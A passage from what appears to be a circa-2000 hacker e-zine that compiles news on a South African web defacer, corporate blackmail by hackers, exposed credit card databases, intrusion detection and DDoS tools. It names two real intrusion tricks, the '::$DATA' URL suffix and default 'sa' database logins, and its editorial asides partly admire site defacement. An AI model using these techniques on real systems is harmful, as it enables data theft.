industry." [Wyzewun: More about this after the article :P] Last year he
telephonically warned companies about computer security. "They weren't
interested, especially Eskom, so I defaced their sites to teach them a few
tricks."
Also known as "Zilly Zaber" and "Purple Chaos", he is a member of an
international hacking gang called the Binary Outlaws. [Wyzewun: More commonly
known as the b1nary 0utlawz or b10z] "We're against the way governments and
big businesses manipulate people. They control information and information
shapes people's lives around the world. We've cracked big websites around the
world to get this message out." The 15-member gang, all male, are scattered
through Bosnia, New Zealand, The US, Cyprus, Sweden, Ireland and South Africa.
Akt0r taught himself the tricks of the trade working in a computer shop, and
started hacking at the age of 16 with an Internet group called the North
American Intelligence Liberation. [Wyzewun: They never did a great deal, but
cracked an insecure NASA box (Vulnerable to PHF in 1997). They were disbanded
when one of the NAiL members mysteriously disappeared after hitting some or
other gov thingymabob :( One neat thing they did was...] "We defaced the Ku
Klux Klan web site and replaced it with a picture of Martin Luther King and
a message about free speech. They went ballistic."
He is not worried about being caught. "I didn't cover my tracks well. It's
quite simple to find me but most companies don't have the knowledge." He said
there was virtually no law in South Africa against "cracking" - what hackers
define as breaking into web sites with good and non-destructive intentions.
[Wyzewun: HUH? Who's definition of cracking is THAT?]
"My mom and dad will probably freak. I'm thinking about telling them what I've
done," he said. South African computer security expert Ian Melamed said Akt0r
should put his energy into stopping hackers. "We are desperately short of good
technical experts in the industry. No right minded person can support the
introduction of techno thuggery," he said.
Earlier this week, Richard Miller, general manager of information technology
at the Johannesburg Stock Exchange, said investigations were closing in on
Akt0r. [Wyzewun: Yeh right, if they haven't got him by now, they won't have
him ever, aKt0r knows an infinite amount more than all the JSE "experts"] He
denied that any confidential information had been lost.
--- End Article ---
Well, aKt0r is a good friend - and I respect him, but a lot of his friends
don't approve of this new "hacking for a job" mission he's going on. Certainly
this can be achieved, but by defacing a site you blow away all your chances of
succeeding. He should rather persist at bugging the company day after day, and
try and get some form of reaction that way.
I originally became aware that aKt0r was doing this when Moe1, part of the
Forbidden Knowledge e-zine staff [packetstorm.securify.com/mag/fk] and another
member of b10z who helps aKt0r with many of his defacements msg'd me...
<Moe1> Oh, btw, I have Nothing to do with aKt0r's latest
<Moe1> Some-one needs to talk some sense to that kid
Yeah, aKt0r is a pimp and I love him, but this new shit he's up to is just a
bit too suicidal. He also told me he intended to stop cracking after the new
computer crime laws came in, which it appears he hasn't. He is pushing harder
and harder, and attracting too much media attention, and somewhere along the
line, something is going to give. We don't need or want a South African
Mitnick, and it looks like that could be his eventual path. :/
He is set to do an interview with Carte Blanche in the near future, along with
the most prominent members of the South African Hacking scene (Vortexia,
Pneuma, Myself and some others). I will have the show put into MPG and will
publish a URL for it in HWA.hax0r.news as soon as it is available. Later...
@HWA
137.0 ISN: Jan 16:Hacker gang blackmails firms with stolen files
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Source: ISN mailing list. (Subscription list)
http://www.the-times.co.uk/news/pages/sti/2000/01/16/stinwenws01028.html?3259223
Hacker gang blackmails firms with stolen files
Jon Ungoed-Thomas and Stan Arnaud
[The Sunday Times] (12.16.2000) A BRITISH group of hackers has broken into
the computer systems of at least 12 multinational companies and stolen
confidential files. It has issued ransom demands of up to 10m and is also
suspected of hiring out its services.
Scotland Yard is now investigating the attacks, which computer experts
have described as the most serious systematic breach ever of companies'
security in Britain.
"The group is using very sophisticated techniques and has been exchanging
information via e-mail and internet chat," said an investigator.
Visa confirmed last week that it had received a ransom demand last month,
believed to have been for 10m.
"We were hacked into in mid-July last year," said Russ Yarrow, a company
spokesman. "They gained access to some corporate material and we informed
both Scotland Yard and the FBI."
It is understood the hackers stole computer "source codes" that are
critical to programming, and threatened to crash the entire system. If
Visa's system crashed for just one day, the company - which handles nearly
1 trillion business a year from customers holding 800m Visa cards - could
lose tens of millions of pounds.
"We received a phone call and an e-mail to an office in England demanding
money," Yarrow said.
The company contacted police after the ransom demand. "We hardened the
system, we sealed it and they did not return. We have firewalls upon
firewalls, but are concerned that anyone got in."
Scotland Yard's computer crime unit is now scrutinising e-mail traffic
between several known hackers in England and Scotland. Last month officers
from the unit flew to Hopeman, a Scottish fishing village, and seized
equipment from the home of James Grant, who works for a local computer
company. He has been interviewed by detectives and Visa security experts.
It is understood that he has given a legal undertaking to Visa not to
discuss the matter. "He is saying nothing at all," said his mother, Rhona.
"That is a situation that will not change in the future."
Grant, 20, studied computing in nearby Elgin, and now works for Data
Converters, based in Elgin. His father is a member of the civilian
security staff at RAF Lossiemouth air base and his mother a care worker.
Detectives are studying attacks on at least 12 companies that they believe
have been penetrated by the group and others that may be connected,
including one within the Virgin group, in which a hacker tried to break
into the UK mailing system. They believe the group may also be acting as
paid specialists for information brokers who trade corporate secrets.
"These are professionals and there is some evidence that suggests some of
the activity was contracted and paid for," said a computer expert
involved in the investigation.
The group's success has exposed flaws in security. The internet company CD
Universe last week confirmed it had called in the FBI after being
blackmailed by a hacker who had copied more than 300,000 of its customer
credit card files.
Scotland Yard said: "There is an ongoing investigation into the incident
involving Visa, but it is too early to speculate about the involvement of
a group."
ISN is sponsored by Security-Focus.COM
@HWA
138.0 How to steal 2,500 credit cards
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Dragos Ruiu
http://www.zdnet.co.uk/news/2000/2/ns-12672.html
How to steal 2,500 credit cards
Mon, 17 Jan 2000 10:19:05 GMT Bob Sullivan, MSNBC
Remarkable discovery by MSNBC investigation, uncovers e-commerce sites'
shoddy security.
Just how easy is it to steal credit card numbers on the Internet? Last
week, MSNBC was able to view nearly 2,500 credit card numbers stored by
seven small e-commerce Web sites within a few minutes, using elementary
instructions provided by a source. In all cases, a list of customers and
all their personal information was connected to the Internet and either
was not password-protected or the password was viewable directly from the
Web site.
Credit card theft, a problem long lurking in the background of Internet
commerce, leaped to the top of consumers' minds earlier this month when a
computer intruder calling himself Maxus was able to break into CD
Universe's database of user credit cards. There's still speculation about
how he did it. But perhaps Maxus didn't have to work so hard. Last week,
MSNBC was able to view nearly 2,500 credit card numbers and other data
essentially by browsing e-commerce Web sites using a commercially
available database tool rather than a Web browser. Not only were the sites
storing the credit cards in plain text in a database connected to the Web
-- the databases were using the default user name and in some cases, no
password.
These basic security flaws were found by a legitimate Russian software
company named Strategy LLC, according to CEO Anatoliy Prokhorov, and
shared with MSNBC. He says he tried contacting some of the companies first
and got no response. "From our point of view this is just
unprofessionalism in a very high degree that's not explainable," Prokhorov
said. His company writes software that helps consumers compare prices
across multiple e-commerce sites, so his developers become familiar with
data structures at hundreds of e-commerce sites. He says they weren't
looking to find security flaws, but rather stumbled on these. "This is
just a hole we passed by, an open door. Our people were amazed."
But security experts were not. Given the speed required to succeed in the
fast-paced Internet economy, companies are in a big hurry to publish
working Web sites and often skimp on security measures. "This is a
microcosm of what's out there," said Elias Levy of SecurityFocus.com.
Levy's site was the first to report the CD Universe break-in last weekend.
"One could only imagine what they would have found if they were looking
for problems ... The problem is fairly widespread, and what Anatoliy has
found is a small snapshot." Prokhorov also contacted SecurityFocus.com
with his information, and the site today will issue its own report based
on its independent investigation.
The security flaws Prokhorov found involve more than just easy-to-steal
credit cards. At all seven sites, MSNBC was able to view a wide selection
of personal data including billing addresses, phone numbers and in some
cases, employee Social Security numbers.
Prokhorov sent the list and instructions to MSNBC on Tuesday. It included
about 20 Web sites which either had no password protection at all on their
database servers -- in each case, they were running Microsoft's SQL Server
software -- or had password information exposed on their Web site.
Connecting to all the sites was as simple as starting SQL Server and
opening a connection to the Web site. (Note: Microsoft is a partner in
MSNBC.)
Some of the sites didn't include personal information; they are not
included in this report. The others -- PMIWeb.com, Softwarecloseouts.com,
EPCdeals.com, Expressmicro.com, Computerparts.com, Directmicro.com and
Sharelogic.net -- were all contacted 24 hours before this story so they
could close the security hole.
While the flaws are obvious, assessing blame is a much more sticky
business. There's a mounting concern that small businesses are
particularly vulnerable to attack; many don't have computer experts on
staff. Other times, non-technically savvy business owners take lowball
bids from developers who promise a secure Web site but don't deliver. Then
there are inherent problems in software itself that make flaws more
likely.
In some cases, the server-side code underlying a Web page is viewable if a
browser places "::$DATA" at the end of the page's Web address. That code,
normally hidden, can contain any usernames, passwords and other
information about any computer connected to that server. This flaw was
revealed over two years ago and has since been patched. Four of the
vulnerable sites MSNBC found were hosted on the same Web server and had
not plugged this hole.
But even without knowing that technique, an intruder could have entered
the sites anyway -- the username required for entering the database was
the default "sa," which stands for "system administrator"; the password
was the name of the company.
"We used a developer, and obviously the developer didn't take that flaw
into consideration," said a spokesperson for the sites. "The flaw could
have lied within the software, but maybe the developer should have taken
that into consideration ... and one thing we didn't do, we didn't hire a
security company to come in and test our Web site."
Getting a second opinion when building an e-commerce site is a good idea,
said security expert Russ Cooper, who maintains the popular NTBugTraq
mailing list. "Make a condition of the contract that it has to pass
scrutiny of another individual who tests the site," Cooper recommended.
The fundamental problem, he said, is that developers have no liability for
flaws they leave behind in e-commerce sites. Merchants are responsible for
the cost of any stolen merchandise, while most developer contracts make
clear they are not responsible for what happens with a site they build.
"So a lot of people end up with a working site but not a secure site." The
other three vulnerable sites MSNBC visited simply used "sa" as the
username for their database, and no password.
Average consumers have no way of knowing how well-guarded their personal
information is when they submit it to a Web site. Levy said the problems
MSNBC found at these seven sites are hardly isolated.
"The blame falls on more than one person. You can't rush out to set up an
e-commerce site regardless of how much you want to make money... Many
people don't give (security) a second thought," he said.
One of the fundamental flaws in all these sites -- and, experts say, in
many other sites -- is the storing of private consumer information in the
first place. While encryption techniques that scramble the data are
available, it's often kept on a computer in plain text -- one step away
from the Internet. While that's more convenient, experts agree it's a bad
idea. "My advice is, if nothing else, don't store the data where it
physically has access to the Web," said Wesley Wilhelm, a fraud prevention
consultant at the Internet Fraud Prevention Advisory Council. "Take them
off every night and make a sneakernet run."
As for consumers, there isn't much they can do to ascertain how well a Web
site is guarding their personal information. Some experts suggest using
only one card online, and religiously checking credit card bills. While
consumers are liable for at most $50 of fraudulent purchases, they are
responsible for catching them and alerting their bank.
MSNBC's Curtis Von Veh contributed to this story.
@HWA
139.0 Good IDS article from Security Portal
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Dragos Ruiu
http://securityportal.com/closet/closet20000112.html
Kurt Seifried, seifried@securityportal.com, for
http://www.securityportal.com/
January 12, 2000 - Last week I did a general overview of IDS systems and
anti-virus software, and why they may not be the answer. Well in some
respects they aren't and in some they are. But I think the main issue is
the current model of intrusion detection (be it host or network based,
looking for bad packets or data in the case of anti-virus software) is
flawed (and the alternatives have a ways to go). Now to back up that
statement so I don't get flame roasted.
Problem 1) Basic performance problems (machine):
Let's take a system like Network Flight Recorder for example (and don't
get me wrong, as current NIDS systems go, NFR is one of the best on the
market), NFR hoovers up all the traffic and can log it and compare it
against a set of rules (modules actually) to see if any matches known
attacks. NFR can also have multiple detection units that report to a
central authority, so you can detect scans more reliably. So like most
people you have a pretty diverse network, some Solaris, some Cisco, some
NT, and so on and so forth. If you want to detect as many attacks as
possible, you need to load all the modules available, resulting in slower
performance, because NFR is literally doing more stuff. This will also
result in the highest number of false positives, which will require you
to spend a lot of time "filtering" manually. You can of course reduce the
number of modules you need by not loading the ones that detect NetWare
specific attacks for example, the assumption being you have no NetWare
servers, or at least none accessible to the Internet. This can be a
problem because at some point you might attach a NetWare server to the
network in say your Internet DMZ, or (accidentally or otherwise) make an
existing internal NetWare server visible to the Internet. The other,
related problem, is that you might not load modules to detect attacks on
Radius servers (same assumption as the NetWare servers apply here), which
you might regret at some later point, very close to this is the idea of
removing modules for old attacks, that you have patched all your
applicable servers for. The problem basically boils down to the fact that
networks have a habit of changing, rather quickly, and new services, new
operating systems, and old bugs have a way of getting in without the
correct people being notified. To ensure you don't miss anything (as the
NFR admin), regular port sweeps using tools like nmap would be required
to make sure new machines don't pop up, or new services, this technique
of course is not infallible.
Problem 2) Basic performance problems (man):
The man hours required to properly maintain and respond to an (N)IDS
system vary, most of it depends on how much traffic you monitor, and how
often you get attacked (so generally speaking bigger sites, higher
profile sites, and the like will generate more work). I also don't know
about you, but I don't want to spend 8 hours a day staring at packet
logs, trying to figure out what is hostile and what isn't (and then
responding to it). Even if all goes well and you detect an attack
successfully, the most you can do about it is to firewall the
perpetrator, and contact their network administrator, chances are the
attack was spoofed, or launched from a compromised machine (even if 99%
of hosts on the Internet are secure, that still leaves around 1 million
that aren't by today's numbers). Unlike the physical world, where most
people (criminals being a subset of people) can't afford to hop on a jet
plane, scoot over to Australia, rattle a few doorknobs in the hopes that
one is open and rob the place, the Internet allows just that. The problem
of "false positives" is made worse by the number of low level attackers
(known as "script kiddies") seems to be increasing, largely due to the
propensity of free UNIX platforms (*BSD, Linux), hacking tools (Bugtraq,
rootshell), and Internet access (especially high speed access like ADSL
and cable). This will only continue for the foreseeable future, I don't
know when or where it will level off (or start to decline for that
matter) but I don't think it will be anytime soon.
Problem 3) The intelligence solutions (beyond man and machine):
So if machines can't do the job too well (separating the wheat from the
chaff), and humans are too expensive, the obvious alternative (well maybe
not obvious) is to get the machines to behave more like people (or living
organisms at all for that matter). The immune system is an amazing piece
of work. With only rudimentary "intelligence" it manages to keep you
relatively safe from known threats, but even more interestingly, it
manages to adapt quickly to new threats (it doesn't always work
perfectly, AIDS for example seems to be able to avoid the immune system
by disabling it). So why not build a piece of software that emulates
this, and use it to detect attacks? Well this is exactly what some people
have been working on (in other fields as well, such as anti-virus
software). One such result (from the Computer Immune Systems project at
the University of New Mexico) is stide, which runs on several UNIX
platforms and is available for free. Each TCP connection is represented
by a compressed 49 bit string that represents a connection (IP from, IP
to, port to, 80 bits of information in all). Speaking (in simplified
terms) stide monitors the network and builds a list of ok traffic (known
as "self"), and as these connections are seen more often they "mature".
Once stide has a good picture of "self" it can compare all traffic (in
the form of the 49 bit identifier) against its "self" (the known good
traffic), and decide whether or not it is legitimate. Now this wouldn't
work too well since if during the time you spent monitoring your
webserver, only the people that connected would be allowed in the future,
so stide does not match the entire string, rather it only requires 12 of
the 49 bits to match. This sounds promising, but the real kicker is that
in their tests, stide did a remarkably good job of identifying attempted
intrusions, but more importantly the number of false positives was
relatively low (compared to tradition (N)IDS systems).
So what's the catch to stide? Well it seems it requires a large amount of
CPU time, and doesn't scale terribly well, but this may not be an
incredibly large problem. By installing the stide software on all hosts
the load is distributed (the host only monitors its own traffic), and
generally speaking most hosts do not communicate with too many other
hosts, or in the case of servers, tend to communicate with only a few
protocols (such as ftp), making the list of "self" relatively short. This
also eliminates the single point of failure possible with current (N)IDS
systems, but more importantly, assuming software packages like stide
mature and actually are viable, each machine (metaphorically speaking)
will take care of itself, and require a minimum of human intervention.
The future?
In any case there are other organizations working on similar solutions to
similar problems, the most notable being IBM. IBM is developing an
anti-virus system where computers running the software will identify
potentially dangerous pieces of software, and send them to a central site
to be analyzed, if it turns out to be a virus the system will be able to
generate a countermeasure for it (typically a virus signature, and a
removal process) and distribute it to all the machines running this
software. This solves all the major current problems with anti-virus
software (that I covered on the 5th of Jan, 2000), and makes for a much
more effective response (of course the virus writers might start
attacking the central site(s) in order to help their new viruses spread).
This system won't be available for several years most likely, but as
various pieces of it come online, network administrators (with the money
to afford it) will benefit.
Kurt Seifried(seifried@securityportal.com) is a security analyst and the
author of the "Linux Administrators Security Guide", a source of natural
fiber and Linux security, part of a complete breakfast.
--kyx----kyx----kyx----kyx----kyx----kyx----kyx----kyx----kyx----kyx----k
yx----kyx----kyx----kyx--
And the previous week's aticle that it referred to:
--kyx----kyx----kyx----kyx----kyx----kyx----kyx----kyx----kyx----kyx----k
yx----kyx----kyx----kyx--
Network Intrusion Detection Systems and Virus Scanners - are they the
answer?
Kurt Seifried, seifried@seifried.org, for http://www.securityportal.com/
January 5, 2000 - It takes a lot less effort to destroy and break things,
than it takes to build and fix them. This is nowhere more evident then
computer networks. Corporations, governments, universities and other
organizations spend large sums of money on computer network
infrastructure, and the cost of keeping them running is not trivial. And
this doesn't even take into consideration malicious attacks and security
controls which add even more cost to building and maintaining a network
of computers. Unfortunately for most of us, the desktop is Microsoft
centric, which means most of us can't do a whole lot to it to make it
more secure. If you run Windows 95 or 98 you get no file permissions (and
hence the computer has absolutely minimal protection from hostile acts),
if you run Windows NT 4.0 Server or Workstation the default settings are
full control for everyone for all files on the system, and registry keys
(fixing this takes a long time, and will break some applications). Let's
assume for a minute you have fully locked down the machines, users cannot
modify them, they are physically secure, and so on, are you secure? No.
New problems for various operating systems are made public all the time,
these range from minor security issues to full blown "take control of the
machine remotely and do what you want with it". Also, due to the single
user oriented nature of Windows there exists a whole class of malicious
software called viruses, which typically consist of some code to exploit
a program or system bug, a replication mechanism, and possibly some
additional software that ranges from annoying to destructive. What are
network and systems administrators to do in such an increasingly hostile
world?
Anti-virus software
Entire classes of software with literally hundreds (ok, maybe not
hundreds but a lot) of companies producing products have sprung up over
the last few years, and is now beginning to consolidate into several
large companies providing complete product lines to cover everything you
could want, and dozens of medium to small sized companies with sometimes
just one main product. Of this the anti-virus software vendors were one
of the original groups of vendors to start writing add-on software to
enhance the security (which was non-existent on Microsoft platforms at
the time) available for ensuring software that you used was not
malicious. This has lead to an "arm's race" (apologies for using this but
it is a decent analogy) between virus software writers, and anti-virus
vendors. Most anti-virus software packages started out as simple programs
that checked the files against a known list of "bad" ones (i.e. via
checksum and so forth), which lead to polymorphic viruses (that is the
software would modify itself a little bit each time, thus defeating this
detection technique). The anti-virus vendors then started scanning the
actual binary code for the various pieces of code present in viruses, and
heuristic packages that supposedly figure out what the software will do,
and based on that can block it if it is considered malicious (if this
worked properly though we wouldn't be needing anymore virus signature
updates now would we?). Additionally things have gotten more complicated,
with the integration of anti-virus software with such services as email,
www and ftp. A small list of "new" problems with anti-virus software that
have come out in the last few months:
compression of the virus with a little used compression algorithm
successfully fooled most anti-virus packages (this was fixed in most of
them)
compression of the virus with some XOR'ing of the data, successfully
fooled most anti-virus packages
storing the virus in directories not scanned by the anti-virus software,
such as "Recycle bin" in windows (user can configure the software to scan
that directory usually)
exploitation of various buffer overflows in software packages like
Outlook so that the virus is run without the user actually being asked if
they want to save or run the attachment (fixed)
usage of system calls and software in Windows, such as having Outlook
email everyone in your address book a copy of the virus
addition of some characters to the attached file successfully fooled
email anti-virus packages
That's all I could find from the last month or two of Bugtraq. Obviously
the anti-virus vendors have a ways to go before their products can even
be called remotely reliable. The last dozen or so viruses that spread via
email have all left the anti-virus vendor community flat footed, the
Melissa virus (which was relatively harmless) resulted in several large
sites (Microsoft, Intel, etc.) shutting down the mail servers (and in
some cases it overwhelmed mail servers causing them to be effectively
shut down).
It is obvious that anti-virus vendors will always be playing catch-up
with the virus writers, which wouldn't be such a problem if anti-virus
software updates were released quickly and people installed them. This is
however impossible. The life cycle of a virus looks something like:
1.
virus is written, tested, possibly deployed on a test network
(computers are cheap now) and otherwise honed 2. virus is released,
possibly on a selected target (university campus, corporate network,
etc.) 3. virus (if "successful" in a biological sense) spreads like
wildfire, possibly causing severe damage (such as wiping motherboard BIOS
chips) 4. someone notices the strange activity, takes whatever data is
left over, and sends it to an anti-virus vendor - this is the first point
at which people start taking corrective steps, the virus has already had
time to spread 5. the virus is analyzed, decompiled, and otherwise ripped
apart, a signature is created 6. typically the anti-virus vendor will
share data with other competitors, they may or may not do this promptly
7. the anti-virus vendors issue bulletins, make the update (if one exists
yet) available 8. some customers with support contracts and so on will be
notified, some will have automated distribution systems for the update,
resulting in a rapid deployment of the fix, most will not 9. network and
system administrators, home users, and so on possibly read the advisory
or hear about the virus on CNN, they get the update (which can be near
impossible during peak times) and install it
During steps 2, 3, 4, 5, and up till 6 the virus will spread unchecked.
Once an update is created and distributed the virus will only spread to
systems without protection (a good sized percentage). The amount of
effort it takes to install software on millions of computers is
horrendous, even when heavily automated, compared to the amount of effort
a virus author spends, the ROI (return on investment) can be significant.
Intrusion detection software
Directly related to anti-virus software is intrusion detection software
(sometimes refereed to as IDS or NIDS). I'm going to start with a brief
explanation of the various intrusion software technologies and types
since they overlap and can be somewhat convoluted. As a rule of thumb the
software has to run on a computer system (that's a pretty safe rule for
most software packages actually), and this machine can either be
dedicated to the task of monitoring the network and other systems, or the
software can be an additional component that runs on a production server.
For example we have NFR (Network Flight Recorder) which is an entirely
network based system, you have one or more collection machines (a
dedicated box, either an appliance system or something you have built
yourself), which analyze data, and can funnel it all to a central
collection point (allowing you to more easily detect distributed attacks
and see patterns of activity). Then there are a variety of products that
are loaded onto client machines and report to a central machine via SNMP
(or some other protocol), which analyses the data and looks for attacks
and so forth, and in between the two are some hybrid systems. As with
anti-virus software vendors a major problem with (N)IDS systems is the
time frame between when an attack is discovered, and when the (N)IDS
systems are updated to detect and react to it accordingly (the life cycle
is pretty much identical to that of a virus's life cycle).
The next major differentiation is how active a role the software will
take when it detects an event, for example some systems can be set to
lock out a host computer if it appears hostile, whereas some will simply
compare files against signatures to see if they have changed or not and
generate a report (and the extreme of this would be forsenic software
used "after the fact" to try and determine what happened). This leads to
one of the fundamental problems of intrusion detection systems. These
systems are typically heavily automated, and sometimes make use of neural
networks, artificial intelligence and other techniques in an effort to
make them more accurate and useful. If you set the detection threshold
too low you will detect more events, resulting in a large number of false
alarms, and wasted effort. If you set the detection threshold too high
you run the risk of missing events that might prove critical to continued
operations (a.k.a. a bad person might get in and delete all your archived
.... research data). In an effort to get the best of both worlds (low
detection threshold, with a minimum of false alarms, and no important
events missed) the systems make heavy use of rule sets, content based
analysis, and so forth. Unfortunately even the best of these systems are
far from perfect. In addition to this you have to act on events,
monitoring the network and generating a detailed report of attacks, which
is useless if you do not use it constructively. Again we discover a
fundamental problem, if you give control up to the computer there is a
good chance an attacker will be able to abuse it and possibly circumvent
it, whereas if you have a human respond to each event the cost and time
involved would be prohibitive.
Striking a balance between a low detection threshold and a high one, in
addition to letting either the computer handle it, or a human is a
critical process (it is not a single decision, since you should be
evaluating results constantly and fine tuning it). The same applies to
anti-virus software, you want to get the updates to the machines as fast
as possible, which means automation where possible, however there are
some basic issues that can severely delay the time between a virus
rampaging around networks, and a successful counter to it. Even if you
have instantaneous updates of your anti-virus software and intrusion
detection systems, there is still a timeframe in which you can be
successfully attacked. But this doesn't make anti-virus software and
intrusion detection systems worthless, far from it. Security is about
risk management and risk minimization, often within a budget and time
constraints (few organizations can write a blank check as far as computer
security is concerned). The real question is will the ROI (return on
investment) be worthwhile, e.g. armed security guards at every
workstation to make sure no-one tampers with them would be nice, but not
terribly cost effective.
In addition to this there are intrusion detection software packages that
only detect an attack after the fact, such as tripwire. This is however
not as useless as it would seem at first blush (someone stole all the
silverware, guess we should buy a new set). A part of all security
incidents is discovering the scope of the problem (did they only get into
one machine, or did they get into a few hundred?), and tools like
tripwire can make this task much more easy (in fact some vendors are now
shipping integrity checking software that can be loaded onto a bootable
floppy so you can get a very secure snapshot of the system that you can
compare securely, of course it requires a server reboot).
Conclusion
Computer security doesn't come in nice shrink wrapped box for $99.95
(after a $50 rebate). Computer security is an ongoing process, with
constant re-evaluation and changes, as new threats and solutions are
released, you need to be able to react to them effectively. Ideally
vendors would ship software that was not susceptible to viruses (this is
possible), nor susceptible to user/network/random events resulting in
improper operation (like giving someone a root shell remotely). This
isn't going to happen for along time however (although there is a variety
of hardening software becoming available).
Anti-virus software and intrusion detection systems (passive and active)
are all part of a healthy security policy implementation. Any security
plan implementation, when properly done will require some degree of human
intervention. If possible you should dedicate people to the task, and
possibly have them fulfill other optional duties (like evaluating new
software for possible future use). If the people you have tasked are
responsible for support, chances are they will spend the majority of
their time running around and putting out fires instead of preventing a
massive firestorm.
Kurt Seifried(seifried@seifried.org) is a security analyst and the author
of the "Linux Administrators Security Guide", a source of natural fiber
and Linux security, part of a complete breakfast.
Related links:
Virus paper:
http://www.sophos.com/virusinfo/whitepapers/futurevi.html
IBM article / interview on new virus detection / eradication technology
http://www.ibm.com/stretch/mindshare/white.phtml
Network intrusion activity:
http://www.sans.org/y2k.htm
5 (N)IDS vendors respond to questions:
http://www.gocsi.com/ques.htm
Lessons Learned in the Implementation of a Multi-Location Network Based
Real Time Intrusion Detection System:
http://www.zurich.ibm.com/pub/Other/RAID/Prog_RAID98/Full_Papers/Puldy_sl
ides.html/index.htm
Design of an NIDS system:
http://www.cs.ucsb.edu/~kemm/netstat.html/projects.html
File integrity checking software:
http://www.tripwiresecurity.com
http://www.suse.de/~marc/
@HWA
140.0 Win2000 security hole a 'major threat'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.zdnet.com/zdnn/stories/news/0,4586,2429334,00.html?chkpt=zdnntop
Win2000 security hole a 'major threat'
Six banks and three major PC makers are
affected by a bug that lets attackers view
files stored on Microsoft Index Server.
Microsoft issues patch.
By David Raikow, Sm@rt Reseller
UPDATED February 1, 2000 9:37 AM PT
Windows 2000 is not scheduled for release until Feb.
17, but Microsoft has already released the first patch
affecting the long-awaited operating system.
The patch, released by Microsoft on Wednesday, repairs
two different security bugs in Microsoft Index Server, the
more egregious of which allows hackers to view files
stored on a target Web server. Index Server is an add-on
to Windows NT 4.0 and is built into Windows 2000 (in the
form of Indexing Services). Index Server provides
developers with Active Scripting and query management
capabilities.
The more dangerous of the two problems, dubbed the
"Malformed Hit-Highlighting Argument Vulnerability" by
Microsoft (Nasdaq: MSFT), was spotted by David
Litchfield of Cerberus Information Security on Jan. 17 and
immediately reported to Microsoft security. The bug
allows attackers to view files stored on a target Web
server and represents a major threat, according to
Litchfield.
"Of course, ideally you make sure there's no sensitive
data on your Web server, but this can be incredibly
difficult," Litchfield said.
"A lot of servers have account passwords and user
names on them. Even under the best of circumstances
you can end up with account information and sometimes
credit card numbers stored in temporary files on the
server. You should clear those files out regularly, but you
still end up with a 'race condition' where attackers can try
to grab them before they're erased."
Microsoft: It's all serious
"It's not for us to assess the seriousness of this problem,
because we take all security risks seriously," said
Microsoft Security Manager Scott Culp. "The important
thing now is that the patch is out, and that it fixes the
problem. All of our customers should check out our
security site."
However, Litchfield's investigation of the bug suggests
that the majority of Windows-based servers are at risk.
He confirmed that at least six banks and three major
computer manufacturers were affected by the bug.
"The problem is that Index Server is active by default, so
most people don't even realize they've got it on. Even if
they see an MS alert, they're probably not going to
realize that it applies to them," Litchfield said.
Culp acknowledged that many users may have the Index
Server active without realizing it.
"Of course, from a security perspective, you shouldn't
offer any services you don't use," Culp said. "We want to
make sure our customers are educated about this, and
that they are aware of which services they have active
and how to disable what they don't need. We've also
given Windows 2000 tighter defaults and made it much
easier to configure."
Second bug relatively minor
The second of the two bugs allows an intruder to access
information about the targeted network, but it is
considered relatively minor. Although several specialists
assert that this problem has been publicly discussed for
several months, Culp stated that Microsoft only became
aware of it within the past two weeks.
According to Culp, both of these problems were
discovered too late to be fixed in the shipping version of
Windows 2000.
"These came to our attention in mid-January, and
Windows 2000 went out to OEMs and many customers
Dec. 15. It's a shipping product, and we're supporting as
any other shipping product."
Microsoft released to manufacturing Windows 2000 on
Dec. 15 and delivered it to hardware makers and some
other key partners on that date. Large customers and
developers received the gold code in early- to
mid-January.
The product will be available through retail starting
Feb. 17.
@HWA
141.0 New hack attack is greater threat than imagined
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Dragos Ruiu
http://www.theregister.co.uk/000127-000005.html?&_ref=1188363377
New hack attack is greater threat than imagined
It was news a month ago; days later it vanished. The mainstream press may
have forgotten it, but security specialists gathered in California
last week for the sixth RSA Conference to consider the growing trend in
malicious computer assaults called distributed denial of service (DDoS)
attacks.
Using tools called trin00 and tribe flood network (TFN), intruders can
commandeer hundreds, possibly thousands, of separate, unsuspecting
clients to launch a flood which can bring a network down in a torrent of
packets all appearing to come from different sources, making it impossible
to identify the origin.
Dealing with this sort of assault can be maddening for the primary victim.
The clients from which the attack is launched are themselves
intermediate victims who rarely know that their systems have been
compromised. They are in diverse locations around the world, administered
by people who speak different languages, making it nearly impossible for
one victim to explain to another how to cope with the threat.
Security experts are not optimistic. The tools do not require an intruder
to gain root access to a system, but can be uploaded via a number of
simpler exploits, many of which can be scripted to run automatically, and
even multi-threaded to run very, very fast. Finding weak systems to use as
clients for a distributed attack is neither difficult nor prohibitively
time consuming.
More ominously, DSL and cable modems, which remain connected around the
clock, make it possible to launch attacks through the growing number
of private Linux boxes now online.
"We've already seen these attacks coming through Linux boxes," ISCA
Director of Research Services David Kennedy told The Register. "And
there's no reason why it can't be ported to the Win-32 [operating system],"
he added.
To further complicate matters, merely killing the process during a
distributed flood attack is not adequate to end it. So long as the
hundreds of clients remain infected, an attack can be resumed, Kennedy
says. We note that communicating with the owners and administrators of
hundreds of compromised clients, and gaining their cooperation, would be
virtually impossible. The victim is, for all practical purposes, at the
mercy of the attacker.
The FBI's National Infrastructure Protection Center (NIPC) has developed an
application to detect the malicious tools, though the first indication
that they've been installed will usually be a phone call from a frantic
sysadmin trying desperately to block the onslaught of packet traffic. We
say 'phone call' because a distributed attack capitalises on so much
bandwidth from so many sources that it literally overwhelms entire
networks. Under those circumstances, e-mail is hardly going to work.
An ISP can turn off the attack, provided its administrators are well enough
acquainted with the problem; but there again, nothing can stop an
attacker from firing up his hundreds of compromised clients hours or days
later if he chooses.
It gets worse; most of the more obvious defences are problematic. For
example, a firewall configured to catch a distributed flood attack
would also interrupt such utility functions as ping and traceroute, which
are commonly used by administrators and power users, Kennedy noted.
The tools are in constant development within the hacker underground; new
and better versions are released regularly. Most worrying is a shift
to scripted attacks which allow unsophisticated users, such as bored
teenagers, half-assed hacker wannabes and clueless script kiddies to launch
them.
The tools are getting more powerful, slicker and easier to use. Defences
are not. Defences require the infected clients, not the end victims,
to take action. Human nature being what it is, we reckon the end victims
are pretty well on their own.
The NIPC offers an unsettling insight: "Possible motives for this malicious
activity include....preparation for widespread denial of service
attacks."
